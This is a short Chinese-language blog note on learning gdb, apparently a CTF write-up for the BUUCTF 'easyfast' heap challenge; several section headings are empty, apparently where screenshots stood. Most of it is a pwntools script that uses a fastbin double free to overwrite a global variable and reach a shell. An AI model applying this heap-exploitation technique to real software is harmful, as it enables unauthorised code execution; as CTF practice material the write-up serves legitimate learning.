gdb新的理解

前言：

其实感觉之前一直有gdb调试恐惧症。

但是通过最近的练习和复现，对gdb有了一些新的理解与感悟。

之前常常因为搞不清楚调试的位置，不知道怎么查看想看的程序执行情况而苦恼。

通过最近的联系理解了断点的重要性，以及一些新的gdb指令。

希望可以一直进步下去！！！

新学会了用python交互模式进行gdb的单步调试

下面以一个简单的uaf堆题为例：

题目（buuctf easyfast）:

creat:

shell:

这里可以看到data段的全局变量602090初始的时候是1

delete:

这里存在一个 **uaf **漏洞。

edit:

思路：

这里的思路就是利doublefree或者 uaf 将全局变量602090变为0

脚本：

from pwn import*

# [+] 环境配置
context(log_level='debug')
p = process('./easyfast')  # 本地调试
# p = remote('target.ip', port)  # 远程连接

target = 0x602090  # 目标地址（如 GOT 表）

# [+] 堆操作函数
def alloc(size):
    """申请堆块"""
    p.sendlineafter(b'choice>', str(1))
    p.sendlineafter(b'size>', str(size))

def free(index):
    """释放堆块"""
    p.sendlineafter(b'choice>', str(2))
    p.sendlineafter(b'index>', str(index))

def fill(index, content):
    """填充堆块内容"""
    p.sendlineafter(b'choice>', str(3))
    p.sendlineafter(b'index>', str(index))
    p.send(content)

def shell():
    """触发漏洞函数"""
    p.sendlineafter(b'choice>', str(4))

# [+] Exploit 流程
alloc(0x40)  # 申请两个 0x50 大小的堆块（0x40 + header）
alloc(0x40)

# [+] 构造 Double Free
free(0)      # 释放 chunk 0
free(1)      # 释放 chunk 1
free(0)      # 再次释放 chunk 0，形成 fastbin 链表：0 -> 1 -> 0

# [+] 控制 fastbin 链表头
payload = p64(target - 0x10)  # 指向目标地址 - 0x10（chunk header）
fill(0, payload)

# [+] 重新分配，控制目标地址附近的内存
alloc(0x40)  # 分配到原 chunk 0 位置
alloc(0x40)  # 分配到原 chunk 1 位置，此时其 fd 指向 target-0x10
alloc(0x40)  # 分配到 target-0x10 附近，可以覆盖目标

# [+] 覆盖目标内容（如 GOT 表项）
payload = p64(0)  # 或者 system("/bin/sh") 的地址
fill(3, payload)

# [+] 触发漏洞
shell()

# [+] 交互
p.interactive()